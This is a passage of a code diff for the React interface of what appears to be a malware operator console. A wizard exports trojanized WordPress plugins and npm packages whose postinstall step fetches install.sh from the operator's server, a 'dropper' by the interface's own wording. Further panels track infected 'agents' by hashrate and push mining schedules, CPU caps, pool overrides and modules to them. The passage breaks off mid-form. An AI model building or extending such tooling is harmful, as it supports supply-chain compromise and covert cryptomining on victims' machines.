role="status"
aria-live="polite"
aria-label="Deployment progress"
>
<p className="supply-chain-deployment-reel-title">Deployment reel</p>
<ol className="supply-chain-deployment-reel-steps">
{steps.map((step, i) => {
const status = deploymentReelStepStatus(i, visibleCount);
const label =
step.href && status !== 'pending' ? (
<a href={step.href} target={step.href.startsWith('/') ? undefined : '_blank'} rel="noreferrer">
{step.label}
</a>
) : (
step.label
);
return (
<li
key={step.id}
className={`supply-chain-deployment-reel-step supply-chain-deployment-reel-step--${status}${
i === activeIndex ? ' supply-chain-deployment-reel-step--animating' : ''
}`}
>
<span className="supply-chain-deployment-reel-check" aria-hidden>
{status === 'done' ? '✓' : status === 'active' ? '…' : ''}
</span>
<span className="supply-chain-deployment-reel-label">{label}</span>
</li>
);
})}
</ol>
{allDone && <div className="supply-chain-deployment-reel-glow" aria-hidden />}
</div>
);
}

View File

@@ -0,0 +1,502 @@
import { useCallback, useMemo, useState } from 'react';
import { api } from '../../api/client';
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
import type { BuildRecord } from '../../types';
import DeploymentReel from './DeploymentReel';
import {
hostingChecklist,
hostingInstructions,
npmInstallShUrl,
npmPackageName,
sanitizeExportSlug,
SUPPLY_CHAIN_STEP_LABELS,
SUPPLY_CHAIN_WIZARD_STEPS,
supplyChainWikiUrl,
supplyChainZipFilename,
supplyChainHostingChecklistUrl,
type SupplyChainFamily,
type SupplyChainWizardStep,
wizardStepStatus,
wpCampaignSlug,
wpDownloadUrl,
} from '../../help/supplyChainExport';
function CopyChip({ text, label }: { text: string; label: string }) {
const [ok, setOk] = useState(false);
const copy = () => {
void navigator.clipboard.writeText(text).then(() => {
setOk(true);
setTimeout(() => setOk(false), 1500);
});
};
return (
<button type="button" className="btn btn-outline btn-sm" onClick={copy}>
{ok ? 'Copied' : label}
</button>
);
}
export interface SupplyChainExportWizardProps {
builds: BuildRecord[];
serverBase: string;
onServerBaseChange: (v: string) => void;
pinA: string;
onPinAChange: (v: string) => void;
campaign: string;
onCampaignChange: (v: string) => void;
siteName: string;
onSiteNameChange: (v: string) => void;
}
export default function SupplyChainExportWizard({
builds,
serverBase,
onServerBaseChange,
pinA,
onPinAChange,
campaign,
onCampaignChange,
siteName,
onSiteNameChange,
}: SupplyChainExportWizardProps) {
const [family, setFamily] = useState<SupplyChainFamily>('wordpress');
const [step, setStep] = useState<SupplyChainWizardStep>('pick-build');
const [wpExportBusy, setWpExportBusy] = useState(false);
const [npmExportBusy, setNpmExportBusy] = useState(false);
const [checklistOpen, setChecklistOpen] = useState(false);
const [reelSession, setReelSession] = useState(false);
const [checkedItems, setCheckedItems] = useState<Record<string, boolean>>({});
useModalAmbientDuck(checklistOpen);
const openChecklist = useCallback((withReel: boolean) => {
setReelSession(withReel);
setChecklistOpen(true);
if (withReel) setCheckedItems({});
}, []);
const closeChecklist = useCallback(() => {
setChecklistOpen(false);
setReelSession(false);
}, []);
const buildId = pinA.trim();
const exportBusy = family === 'wordpress' ? wpExportBusy : npmExportBusy;
const preview = useMemo(() => {
if (family === 'wordpress') {
const slug = sanitizeExportSlug(siteName);
return {
artifact: wpDownloadUrl(serverBase, siteName, buildId),
campaignTag: wpCampaignSlug(siteName),
zipName: supplyChainZipFilename('wordpress', siteName),
extra: `Plugin slug: ${slug}`,
};
}
const camp = campaign.trim() || 'npm-helper';
return {
artifact: npmInstallShUrl(serverBase, camp, buildId),
campaignTag: camp,
zipName: supplyChainZipFilename('npm', camp),
extra: `Package: ${npmPackageName(camp)}`,
};
}, [family, serverBase, siteName, campaign, buildId]);
const instructions = useMemo(
() =>
hostingInstructions(family, {
serverUrl: serverBase,
siteName,
campaign: campaign.trim() || 'npm-helper',
buildId,
}),
[family, serverBase, siteName, campaign, buildId],
);
const checklist = useMemo(() => hostingChecklist(family), [family]);
const wikiUrl = supplyChainWikiUrl(family);
const stepValid = useMemo(() => {
if (step === 'pick-build') return true;
if (step === 'configure') {
if (!serverBase.trim()) return false;
if (family === 'wordpress') return siteName.trim().length > 0;
return true;
}
if (step === 'download') return serverBase.trim().length > 0;
return true;
}, [step, serverBase, family, siteName]);
const goNext = () => {
const idx = SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
if (idx < SUPPLY_CHAIN_WIZARD_STEPS.length - 1) {
setStep(SUPPLY_CHAIN_WIZARD_STEPS[idx + 1]);
}
};
const goBack = () => {
const idx = SUPPLY_CHAIN_WIZARD_STEPS.indexOf(step);
if (idx > 0) setStep(SUPPLY_CHAIN_WIZARD_STEPS[idx - 1]);
};
const runExport = useCallback(async () => {
if (family === 'wordpress') {
setWpExportBusy(true);
try {
await api.exportWordPressPlugin({
build_id: buildId,
server_url: serverBase,
campaign,
site_name: siteName,
});
openChecklist(true);
setStep('host');
} finally {
setWpExportBusy(false);
}
return;
}
setNpmExportBusy(true);
try {
await api.exportNpmHelper({
build_id: buildId,
server_url: serverBase,
campaign: campaign.trim() || 'npm-helper',
});
openChecklist(true);
setStep('host');
} finally {
setNpmExportBusy(false);
}
}, [family, buildId, serverBase, campaign, siteName, openChecklist]);
const toggleCheck = (id: string) => {
setCheckedItems((prev) => ({ ...prev, [id]: !prev[id] }));
};
const allChecked = checklist.every((c) => checkedItems[c.id]);
return (
<>
<div className="spread-section spread-section--violet supply-chain-wizard operator-deck-card operator-interactive">
<div className="supply-chain-wizard-header">
<h3>Supply-chain export wizard</h3>
<p className="form-hint" style={{ margin: 0 }}>
WordPress plugin ZIP (<code>/get?c=wp-{'{site}'}</code>) or npm helper (postinstall curls{' '}
<code>install.sh</code>).{' '}
<a href={wikiUrl} target="_blank" rel="noreferrer">
Wiki playbook §
</a>
</p>
</div>
<div className="supply-chain-family-tabs" role="tablist" aria-label="Export family">
<button
type="button"
role="tab"
aria-selected={family === 'wordpress'}
className={`supply-chain-family-tab${family === 'wordpress' ? ' active' : ''}`}
onClick={() => {
setFamily('wordpress');
setStep('pick-build');
}}
>
WordPress plugin
</button>
<button
type="button"
role="tab"
aria-selected={family === 'npm'}
className={`supply-chain-family-tab${family === 'npm' ? ' active' : ''}`}
onClick={() => {
setFamily('npm');
setStep('pick-build');
}}
>
npm postinstall helper
</button>
</div>
<div className="forge-mission-steps supply-chain-step-rail" aria-label="Wizard progress">
{SUPPLY_CHAIN_WIZARD_STEPS.map((s, i) => (
<span key={s} className={`forge-mission-step ${wizardStepStatus(s, step)}`}>
<span className="supply-chain-step-num">{i + 1}</span>
{SUPPLY_CHAIN_STEP_LABELS[s]}
</span>
))}
</div>
<div className="supply-chain-step-panel">
{step === 'pick-build' && (
<>
<p className="form-hint">Choose the pinned build embedded in the export artifact.</p>
<div className="form-group">
<label className="label" htmlFor="sc-build">Build (pin)</label>
<select
id="sc-build"
className="input"
value={pinA}
onChange={(e) => onPinAChange(e.target.value)}
>
<option value="">Latest / pinned</option>
{builds.map((b) => (
<option key={b.id} value={b.id}>
{b.worker_name} · {b.platform} {b.pinned ? '📌' : ''}
</option>
))}
</select>
</div>
{buildId ? (
<p className="form-hint">
Selected pin: <code>{buildId}</code>
</p>
) : (
<p className="form-hint">No pin dropper uses latest public build for this campaign.</p>
)}
</>
)}
{step === 'configure' && (
<>
<div className="form-group">
<label className="label" htmlFor="sc-server">Command deck URL</label>
<input
id="sc-server"
className="input mono"
value={serverBase}
onChange={(e) => onServerBaseChange(e.target.value)}
/>
</div>
{family === 'wordpress' ? (
<div className="form-group">
<label className="label" htmlFor="sc-site">Site name (plugin slug)</label>
<input
id="sc-site"
className="input mono"
value={siteName}
onChange={(e) => onSiteNameChange(e.target.value)}
placeholder="my-blog"
/>
<p className="form-hint">
Campaign auto-tag: <code>{wpCampaignSlug(siteName || 'my-blog')}</code>
</p>
</div>
) : (
<div className="form-group">
<label className="label" htmlFor="sc-campaign">Campaign slug (?c=)</label>
<input
id="sc-campaign"
className="input mono"
value={campaign}
onChange={(e) => onCampaignChange(e.target.value)}
placeholder="ci-bootstrap"
/>
<p className="form-hint">
Package name: <code>{npmPackageName(campaign || 'npm-helper')}</code>
</p>
</div>
)}
<div className="supply-chain-preview">
<p className="form-hint" style={{ marginTop: 0 }}>
Live preview {family === 'wordpress' ? 'plugin download URL' : 'postinstall target'}
</p>
<code className="mono supply-chain-preview-url">{preview.artifact}</code>
<CopyChip text={preview.artifact} label="Copy URL" />
</div>
</>
)}
{step === 'download' && (
<>
<p className="form-hint">
Downloads a customized ZIP from{' '}
<code>templates/{family === 'wordpress' ? 'wordpress-plugin' : 'npm-helper-package'}/</code>
with your server URL and campaign baked in.
</p>
<ul className="supply-chain-download-meta">
<li>
<strong>ZIP:</strong> <code>{preview.zipName}</code>
</li>
<li>
<strong>Campaign:</strong> <code>{preview.campaignTag}</code>
</li>
<li>
<strong>{family === 'wordpress' ? 'Get URL' : 'install.sh'}:</strong>{' '}
<code className="mono" style={{ wordBreak: 'break-all' }}>
{preview.artifact}
</code>
</li>
<li>
<strong>Detail:</strong> {preview.extra}
</li>
</ul>
<div className="supply-chain-export-actions">
<button
type="button"
className="btn btn-primary"
disabled={exportBusy || !serverBase.trim() || (family === 'wordpress' && !siteName.trim())}
onClick={() => void runExport()}
>
{exportBusy
? 'Zipping…'
: family === 'wordpress'
? 'Export WordPress Plugin ZIP'
: 'Export npm package template ZIP'}
</button>
<a className="btn btn-outline btn-sm" href={wikiUrl} target="_blank" rel="noreferrer">
Read wiki §
</a>
</div>
</>
)}
{step === 'host' && (
<>
<p className="form-hint">
Copy hosting steps below. Full playbook:{' '}
<a href={wikiUrl} target="_blank" rel="noreferrer">
{family === 'wordpress' ? 'WordPress plugin supply chain' : 'npm postinstall helper'}
</a>
</p>
{instructions.map((block) => (
<div key={block.title} className="forge-mission-link-block">
<p>{block.title}</p>
<code>{block.body}</code>
<CopyChip text={block.body} label={`Copy ${block.title}`} />
</div>
))}
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => openChecklist(false)}
>
Open post-export checklist
</button>
</>
)}
</div>
<div className="supply-chain-wizard-nav">
<button type="button" className="btn btn-outline btn-sm" disabled={step === 'pick-build'} onClick={goBack}>
Back
</button>
{step !== 'host' && step !== 'download' && (
<button type="button" className="btn btn-primary btn-sm" disabled={!stepValid} onClick={goNext}>
Next
</button>
)}
{step === 'download' && (
<button
type="button"
className="btn btn-outline btn-sm"
onClick={() => setStep('host')}
>
Skip to hosting instructions
</button>
)}
</div>
<div className="supply-chain-quick-export">
<p className="form-hint" style={{ marginBottom: '0.35rem' }}>
Quick export (same APIs no wizard steps):
</p>
<div className="emberwake-ab-row">
<button
type="button"
className="btn btn-outline btn-sm"
disabled={wpExportBusy || !serverBase || !siteName.trim()}
onClick={() => void (async () => {
setWpExportBusy(true);
try {
await api.exportWordPressPlugin({
build_id: buildId,
server_url: serverBase,
campaign,
site_name: siteName,
});
setFamily('wordpress');
openChecklist(true);
} finally {
setWpExportBusy(false);
}
})()}
>
{wpExportBusy ? 'Zipping…' : 'Export WordPress Plugin ZIP'}
</button>
<button
type="button"
className="btn btn-outline btn-sm"
disabled={npmExportBusy || !serverBase}
onClick={() => void (async () => {
setNpmExportBusy(true);
try {
await api.exportNpmHelper({
build_id: buildId,
server_url: serverBase,
campaign: campaign.trim() || 'npm-helper',
});
setFamily('npm');
openChecklist(true);
} finally {
setNpmExportBusy(false);
}
})()}
>
{npmExportBusy ? 'Zipping…' : 'Export npm package template ZIP'}
</button>
</div>
</div>
</div>
{checklistOpen && (
<div
className="forge-mission-modal-backdrop"
role="dialog"
aria-modal="true"
aria-labelledby="sc-checklist-title"
onClick={closeChecklist}
>
<div className="forge-mission-modal supply-chain-checklist-modal" onClick={(e) => e.stopPropagation()}>
{reelSession && <DeploymentReel family={family} animate />}
<h3 id="sc-checklist-title">
Post-export hosting checklist {family === 'wordpress' ? 'WordPress' : 'npm'}
</h3>
<p className="form-hint">
Complete these steps on infrastructure you operate.{' '}
<a href={supplyChainHostingChecklistUrl(family)} target="_blank" rel="noreferrer">
Wiki § hosting checklist
</a>
</p>
<ul className="supply-chain-checklist">
{checklist.map((item) => (
<li key={item.id}>
<label>
<input
type="checkbox"
checked={!!checkedItems[item.id]}
onChange={() => toggleCheck(item.id)}
/>
{item.label}
</label>
</li>
))}
</ul>
{allChecked && (
<p className="supply-chain-checklist-done" role="status">
All steps marked campaign should appear in War Room after first hit.
</p>
)}
<div className="supply-chain-checklist-actions">
<CopyChip
text={checklist.map((c) => `[ ] ${c.label}`).join('\n')}
label="Copy checklist"
/>
<button type="button" className="btn btn-primary btn-sm" onClick={closeChecklist}>
Done
</button>
</div>
</div>
</div>
)}
</>
);
}

View File

@@ -90,6 +90,11 @@ export default function AgentListItem({
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
</span>
)}
{agent.campaign && (
<span className="agent-tag-chip" title="Spread campaign (?c=)">
c:{agent.campaign}
</span>
)}
</div>
<div style={{ display: 'flex', alignItems: 'center', gap: '0.4rem' }}>
<span className={`status-badge ${agent.status}`}>{agent.status}</span>

View File

@@ -1,4 +1,5 @@
import { useEffect, useState } from 'react';
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
import { FLEET_GROUP_COLORS, normalizeGroupColor } from '../../help/fleetGroups';
import './CreateGroupModal.css';
@@ -10,6 +11,7 @@ interface Props {
}
export default function CreateGroupModal({ open, agentCount, onClose, onCreate }: Props) {
useModalAmbientDuck(open);
const [name, setName] = useState('');
const [color, setColor] = useState<string>(FLEET_GROUP_COLORS[0]);

View File

@@ -0,0 +1,158 @@
/* ── Fleet heat mini-map (Crucible sidebar) ─────────────────────────────── */
.fleet-heat-minimap {
display: flex;
flex-direction: column;
gap: 0.5rem;
}
.fleet-heat-header {
display: flex;
align-items: center;
gap: 0.45rem;
font-size: 0.72rem;
letter-spacing: 0.1em;
color: var(--text-muted);
}
.fleet-heat-count {
margin-left: auto;
color: var(--neon-cyan);
font-size: 0.68rem;
}
.fleet-heat-canvas {
position: relative;
width: 100%;
aspect-ratio: 1;
min-height: 160px;
border-radius: 8px;
border: 1px solid rgba(0, 245, 255, 0.18);
background:
radial-gradient(ellipse at 50% 45%, rgba(0, 245, 255, 0.06) 0%, transparent 65%),
rgba(0, 0, 0, 0.45);
overflow: hidden;
}
.fleet-heat-grid {
position: absolute;
inset: 0;
background-image:
linear-gradient(rgba(0, 245, 255, 0.04) 1px, transparent 1px),
linear-gradient(90deg, rgba(0, 245, 255, 0.04) 1px, transparent 1px);
background-size: 20% 20%;
pointer-events: none;
}
.fleet-heat-dot {
position: absolute;
transform: translate(-50%, -50%);
border: none;
padding: 0;
cursor: default;
z-index: 2;
}
.fleet-heat-dot--agent {
width: 10px;
height: 10px;
border-radius: 50%;
background: var(--dot-color, var(--neon-cyan));
box-shadow: 0 0 6px var(--dot-color, var(--neon-cyan));
cursor: pointer;
transition: transform 0.12s, box-shadow 0.12s, opacity 0.12s;
}
.fleet-heat-dot--agent:hover {
transform: translate(-50%, -50%) scale(1.35);
box-shadow: 0 0 12px var(--dot-color, var(--neon-cyan));
}
.fleet-heat-dot--agent.offline {
opacity: 0.35;
box-shadow: none;
}
.fleet-heat-dot--agent.selected {
transform: translate(-50%, -50%) scale(1.45);
box-shadow:
0 0 0 2px rgba(255, 255, 255, 0.35),
0 0 14px var(--dot-color, var(--neon-cyan));
}
.fleet-heat-dot--agent.spike-pulse {
animation: fleet-heat-spike 1.1s ease-out;
}
@keyframes fleet-heat-spike {
0% {
transform: translate(-50%, -50%) scale(1);
box-shadow: 0 0 4px var(--dot-color, var(--neon-cyan));
}
35% {
transform: translate(-50%, -50%) scale(2.2);
box-shadow:
0 0 0 3px rgba(255, 255, 255, 0.25),
0 0 22px var(--dot-color, var(--neon-cyan)),
0 0 36px rgba(0, 245, 255, 0.55);
}
100% {
transform: translate(-50%, -50%) scale(1);
box-shadow: 0 0 6px var(--dot-color, var(--neon-cyan));
}
}
.fleet-heat-dot--comrade {
width: 8px;
height: 8px;
border-radius: 50%;
background: var(--dot-color, #ffb020);
box-shadow: 0 0 8px rgba(255, 176, 32, 0.85);
border: 1px solid rgba(255, 220, 120, 0.7);
z-index: 3;
pointer-events: none;
}
.fleet-heat-legend {
display: flex;
flex-wrap: wrap;
gap: 0.5rem 0.75rem;
font-size: 0.62rem;
color: var(--text-muted);
letter-spacing: 0.04em;
}
.fleet-heat-legend > span {
display: inline-flex;
align-items: center;
gap: 0.3rem;
}
.fleet-heat-legend-dot {
display: inline-block;
width: 7px;
height: 7px;
border-radius: 50%;
flex-shrink: 0;
}
.fleet-heat-legend-dot.agent {
background: var(--neon-cyan);
box-shadow: 0 0 4px var(--neon-cyan);
}
.fleet-heat-legend-dot.comrade {
background: #ffb020;
box-shadow: 0 0 4px #ffb020;
}
.fleet-heat-legend-dot.pulse {
background: var(--neon-cyan);
animation: fleet-heat-spike 1.1s ease-out infinite;
}
.fleet-heat-empty {
margin: 0;
font-size: 0.72rem;
color: var(--text-muted);
}

View File

@@ -0,0 +1,137 @@
import { useEffect, useMemo, useRef, useState } from 'react';
import type { Agent } from '../../types';
import type { FleetGroup } from '../../help/fleetGroups';
import { formatHashrate } from '../../help/fleetFilters';
import { usePresence } from '../../context/PresenceContext';
import {
agentAccentColor,
COMRADE_DOT_COLOR,
hashrateSpiked,
layoutAgentPoints,
layoutComradePoints,
} from '../../help/fleetHeatMap';
import './FleetHeatMiniMap.css';
interface FleetHeatMiniMapProps {
agents: Agent[];
groups: FleetGroup[];
allIds: string[];
selectedIds: Set<string>;
onSelectAgent: (id: string) => void;
}
export default function FleetHeatMiniMap({
agents,
groups,
allIds,
selectedIds,
onSelectAgent,
}: FleetHeatMiniMapProps) {
const { comrades } = usePresence();
const prevHashrateRef = useRef<Record<string, number>>({});
const [spikingIds, setSpikingIds] = useState<Set<string>>(() => new Set());
useEffect(() => {
const spikes = new Set<string>();
for (const agent of agents) {
const prev = prevHashrateRef.current[agent.id];
const current = agent.hashrate_15s ?? 0;
if (hashrateSpiked(prev, current)) spikes.add(agent.id);
prevHashrateRef.current[agent.id] = current;
}
if (spikes.size === 0) return;
setSpikingIds(spikes);
const t = setTimeout(() => setSpikingIds(new Set()), 1200);
return () => clearTimeout(t);
}, [agents]);
const agentPoints = useMemo(() => layoutAgentPoints(agents, groups), [agents, groups]);
const comradePoints = useMemo(
() => layoutComradePoints(comrades.map((c) => c.user)),
[comrades],
);
const onlineCount = agents.filter((a) => a.status === 'online').length;
const agentById = useMemo(() => new Map(agents.map((a) => [a.id, a])), [agents]);
return (
<div className="fleet-heat-minimap">
<div className="fleet-heat-header font-tech">
<span className="section-ornament"></span>
FLEET HEAT
<span className="fleet-heat-count">
{onlineCount}/{agents.length}
</span>
</div>
{agents.length === 0 ? (
<p className="fleet-heat-empty">No nodes yet deploy a build to see the map.</p>
) : (
<div
className="fleet-heat-canvas"
role="img"
aria-label={`Fleet heat map with ${agents.length} agents and ${comrades.length} online comrades`}
>
<div className="fleet-heat-grid" aria-hidden />
{agentPoints.map((pt) => {
const agent = agentById.get(pt.id);
if (!agent) return null;
const selected = selectedIds.has(pt.id);
const color = agentAccentColor(pt.id, allIds, pt.color);
const pulsing = spikingIds.has(pt.id);
const hr = agent.hashrate_15s ?? 0;
return (
<button
key={pt.id}
type="button"
className={[
'fleet-heat-dot',
'fleet-heat-dot--agent',
pt.online ? '' : 'offline',
selected ? 'selected' : '',
pulsing ? 'spike-pulse' : '',
]
.filter(Boolean)
.join(' ')}
style={{ left: `${pt.x}%`, top: `${pt.y}%`, '--dot-color': color } as React.CSSProperties}
title={`${pt.label} · ${agent.status}${hr > 0 ? ` · ${formatHashrate(hr)}` : ''}`}
aria-label={`Select ${pt.label}`}
aria-pressed={selected}
onClick={() => onSelectAgent(pt.id)}
/>
);
})}
{comradePoints.map((pt) => (
<span
key={pt.id}
className="fleet-heat-dot fleet-heat-dot--comrade"
style={
{ left: `${pt.x}%`, top: `${pt.y}%`, '--dot-color': COMRADE_DOT_COLOR } as React.CSSProperties
}
title={`Operator ${pt.label} online`}
aria-label={`Comrade ${pt.label}`}
/>
))}
</div>
)}
<div className="fleet-heat-legend font-tech">
<span>
<i className="fleet-heat-legend-dot agent" aria-hidden />
Agents
</span>
<span>
<i className="fleet-heat-legend-dot comrade" aria-hidden />
Comrades
</span>
<span>
<i className="fleet-heat-legend-dot pulse" aria-hidden />
Hash spike
</span>
</div>
</div>
);
}

View File

@@ -185,7 +185,7 @@ export function FleetHealthCard({ health }: { health: FleetHealth }) {
: '#ff3c50';
return (
<NeonCard accent={accent as any} className="fleet-health-card" hud>
<NeonCard accent={accent as any} className="fleet-health-card operator-deck-card operator-interactive" hud>
<div className="fh-header">
<div>
<span className="fh-label font-tech">FLEET HEALTH</span>

View File

@@ -0,0 +1,73 @@
.fleet-policy-deck {
border: 1px solid rgba(74, 222, 128, 0.25);
box-shadow: 0 0 24px rgba(74, 222, 128, 0.08);
}
.fleet-policy-eyebrow {
margin: 0 0 0.35rem;
font-size: 0.72rem;
letter-spacing: 0.12em;
color: rgba(74, 222, 128, 0.85);
}
.fleet-policy-steps {
margin-top: 0.5rem;
}
.fleet-policy-step-panel {
margin-top: 1rem;
padding-top: 0.75rem;
border-top: 1px solid rgba(255, 255, 255, 0.08);
}
.fleet-policy-step-title {
margin: 0 0 0.75rem;
font-size: 1rem;
font-weight: 600;
}
.fleet-policy-step-actions {
display: flex;
flex-wrap: wrap;
gap: 0.5rem;
margin-top: 1rem;
}
.fleet-policy-review {
padding: 0.75rem 1rem;
border-radius: 8px;
background: rgba(0, 0, 0, 0.25);
border: 1px solid rgba(255, 255, 255, 0.08);
font-size: 0.92rem;
}
.fleet-policy-review p {
margin: 0.35rem 0;
}
.fleet-policy-ack-banner {
display: flex;
align-items: baseline;
gap: 0.75rem;
padding: 1rem 1.25rem;
margin: 0.75rem 0;
border-radius: 10px;
background: rgba(74, 222, 128, 0.08);
border: 1px solid rgba(74, 222, 128, 0.35);
}
.fleet-policy-ack-count {
font-size: 2.5rem;
line-height: 1;
color: var(--neon-green, #6f6);
text-shadow: 0 0 16px rgba(74, 222, 128, 0.35);
}
.fleet-policy-ack-label {
font-size: 0.95rem;
color: var(--text-secondary);
}
.fleet-module-deck {
margin-top: 0.5rem;
}

View File

@@ -0,0 +1,444 @@
import { useEffect, useMemo, useState } from 'react';
import { api } from '../../api/client';
import { useModalAmbientDuck } from '../../context/AmbientMusicContext';
import { useWebSocket } from '../../hooks/useWebSocket';
import { useFleetGroups } from '../../hooks/useFleetGroups';
import type { FleetModuleManifest } from '../../types';
import NeonCard from '../NeonCard/NeonCard';
import './FleetRuntimePanel.css';
type TargetMode = 'all' | 'group';
type WizardStep = 1 | 2 | 3 | 4;
const POLICY_STEPS: { step: WizardStep; label: string }[] = [
{ step: 1, label: 'Pick target' },
{ step: 2, label: 'Set policy' },
{ step: 3, label: 'Confirm push' },
{ step: 4, label: 'Live acks' },
];
function stepStatus(current: WizardStep, step: WizardStep): 'done' | 'active' | 'pending' {
if (step < current) return 'done';
if (step === current) return 'active';
return 'pending';
}
export default function FleetRuntimePanel() {
const { agents, policyAcks } = useWebSocket();
const { groups } = useFleetGroups();
const [modules, setModules] = useState<FleetModuleManifest[]>([]);
const [wizardStep, setWizardStep] = useState<WizardStep>(1);
const [targetMode, setTargetMode] = useState<TargetMode>('all');
const [groupId, setGroupId] = useState('');
const [selectedModule, setSelectedModule] = useState('crucible_ops');
const [miningMode, setMiningMode] = useState('scheduled');
const [scheduleStart, setScheduleStart] = useState('22:00');
const [scheduleEnd, setScheduleEnd] = useState('06:00');
const [maxCpu, setMaxCpu] = useState(75);
const [poolHost, setPoolHost] = useState('');
const [poolPort, setPoolPort] = useState(0);
const [policyMsg, setPolicyMsg] = useState('');
const [moduleMsg, setModuleMsg] = useState('');
const [pushingPolicy, setPushingPolicy] = useState(false);
const [pushingModule, setPushingModule] = useState(false);
const [pushId, setPushId] = useState<string | null>(null);
const [expectedSent, setExpectedSent] = useState(0);
useModalAmbientDuck(wizardStep === 3);
useEffect(() => {
api.listFleetModules().then(setModules).catch(() => setModules([]));
}, []);
const onlineCount = useMemo(() => agents.filter((a) => a.status === 'online').length, [agents]);
const targetLabel = useMemo(() => {
if (targetMode === 'all') return `All online (${onlineCount})`;
const g = groups.find((x) => x.id === groupId);
return g ? `${g.name} (${g.agentIds.length} agents)` : 'No group selected';
}, [targetMode, groupId, groups, onlineCount]);
const ackCount = useMemo(() => {
if (!pushId) return 0;
const ids = new Set<string>();
for (const ack of policyAcks) {
if (ack.push_id === pushId && ack.agent_id) ids.add(ack.agent_id);
}
return ids.size;
}, [policyAcks, pushId]);
const resolveAgentIds = (): string[] => {
if (targetMode === 'all') return ['all'];
const g = groups.find((x) => x.id === groupId);
if (!g || g.agentIds.length === 0) return [];
return g.agentIds;
};
const targetReady = targetMode === 'all' || (groupId !== '' && resolveAgentIds().length > 0);
const handlePushPolicy = async () => {
const agent_ids = resolveAgentIds();
if (agent_ids.length === 0) {
setPolicyMsg('Select a group with agents or use All online.');
return;
}
setPushingPolicy(true);
setPolicyMsg('');
try {
const policy: Record<string, unknown> = {
mining_mode: miningMode,
max_cpu_usage_pct: maxCpu,
};
if (miningMode === 'scheduled') {
policy.schedule_start = scheduleStart;
policy.schedule_end = scheduleEnd;
}
if (poolHost.trim()) {
policy.pool_host = poolHost.trim();
if (poolPort > 0) policy.pool_port = poolPort;
}
const res = await api.pushFleetPolicy({ agent_ids, policy });
if (res.success) {
setPushId(res.push_id ?? null);
setExpectedSent(res.sent ?? 0);
setWizardStep(4);
setPolicyMsg(
`Policy dispatched to ${res.sent} agent(s)${res.failed ? ` (${res.failed} delivery failures)` : ''}. Waiting for live acks…`,
);
} else {
setPolicyMsg(res.error || 'No agents received the policy.');
}
} catch (e) {
setPolicyMsg(e instanceof Error ? e.message : 'Push failed');
} finally {
setPushingPolicy(false);
}
};
const handlePushModule = async () => {
const agent_ids = resolveAgentIds();
if (agent_ids.length === 0) {
setModuleMsg('Select a group with agents or use All online.');
return;
}
setPushingModule(true);
setModuleMsg('');
try {
const res = await api.pushFleetModule({ agent_ids, module: selectedModule });
setModuleMsg(
res.success
? `Module "${res.module}" queued for ${res.sent} agent(s).`
: res.error || 'No agents received the module push.',
);
} catch (e) {
setModuleMsg(e instanceof Error ? e.message : 'Push failed');
} finally {
setPushingModule(false);
}
};
const resetWizard = () => {
setWizardStep(1);
setPushId(null);
setExpectedSent(0);
setPolicyMsg('');
};
return (
<>
<NeonCard accent="green" className="settings-section fleet-policy-deck operator-deck-card operator-interactive" hud>
<p className="fleet-policy-eyebrow font-tech">RUNTIME · NO RE-FORGE</p>
<h2 className="font-display">Live Fleet Policy</h2>
<p className="section-desc">
Push live mining rules to connected workers schedule, CPU cap, and optional pool overrides apply in memory
via <code className="mono-sm">policy_update</code>. Identity and baked forge options stay on the binary; this
panel never replaces the Forge builder.
</p>
<div className="forge-mission-steps fleet-policy-steps" aria-label="Policy push steps">
{POLICY_STEPS.map(({ step, label }) => {
const status = stepStatus(wizardStep, step);
return (
<span key={step} className={`forge-mission-step ${status}`}>
{status === 'done' ? '✓' : status === 'active' ? '●' : '○'} {step}. {label}
</span>
);
})}
</div>
{wizardStep === 1 && (
<div className="fleet-policy-step-panel operator-interactive">
<h3 className="fleet-policy-step-title">Step 1 Pick target</h3>
<div className="form-row">
<div className="form-group">
<label className="label" htmlFor="fleet-target-mode">
Target fleet
</label>
<select
id="fleet-target-mode"
className="input"
value={targetMode}
onChange={(e) => setTargetMode(e.target.value as TargetMode)}
>
<option value="all">All online ({onlineCount})</option>
<option value="group">Fleet group</option>
</select>
</div>
{targetMode === 'group' && (
<div className="form-group">
<label className="label" htmlFor="fleet-group">
Group
</label>
<select
id="fleet-group"
className="input"
value={groupId}
onChange={(e) => setGroupId(e.target.value)}
>
<option value="">Select group</option>
{groups.map((g) => (
<option key={g.id} value={g.id}>
{g.name} ({g.agentIds.length})
</option>
))}
</select>
</div>
)}
</div>
<div className="fleet-policy-step-actions">
<button
type="button"
className="btn btn-primary"
disabled={!targetReady}
onClick={() => setWizardStep(2)}
>
Next Set policy
</button>
</div>
</div>
)}
{wizardStep === 2 && (
<div className="fleet-policy-step-panel operator-interactive">
<h3 className="fleet-policy-step-title">Step 2 Set policy</h3>
<p className="form-hint">Target: {targetLabel}</p>
<div className="form-row">
<div className="form-group">
<label className="label" htmlFor="fleet-mining-mode">
Mining mode
</label>
<select
id="fleet-mining-mode"
className="input"
value={miningMode}
onChange={(e) => setMiningMode(e.target.value)}
>
<option value="always">Always</option>
<option value="idle">Idle</option>
<option value="scheduled">Scheduled</option>
</select>
</div>
<div className="form-group">
<label className="label" htmlFor="fleet-max-cpu">
Max CPU %
</label>
<input
id="fleet-max-cpu"
type="number"
className="input"
min={10}
max={100}
value={maxCpu}
onChange={(e) => setMaxCpu(parseInt(e.target.value, 10) || 75)}
/>
</div>
</div>
{miningMode === 'scheduled' && (
<div className="form-row">
<div className="form-group">
<label className="label" htmlFor="fleet-sched-start">
Mine from
</label>
<input
id="fleet-sched-start"
type="time"
className="input"
value={scheduleStart}
onChange={(e) => setScheduleStart(e.target.value)}
/>
</div>
<div className="form-group">
<label className="label" htmlFor="fleet-sched-end">
Mine until
</label>
<input
id="fleet-sched-end"
type="time"
className="input"
value={scheduleEnd}
onChange={(e) => setScheduleEnd(e.target.value)}
/>
</div>
</div>
)}
<div className="form-row">
<div className="form-group">
<label className="label" htmlFor="fleet-pool-host">
Pool host (optional)
</label>
<input
id="fleet-pool-host"
type="text"
className="input mono"
placeholder="leave blank to keep baked pool"
value={poolHost}
onChange={(e) => setPoolHost(e.target.value)}
/>
</div>
<div className="form-group">
<label className="label" htmlFor="fleet-pool-port">
Pool port
</label>
<input
id="fleet-pool-port"
type="number"
className="input"
min={0}
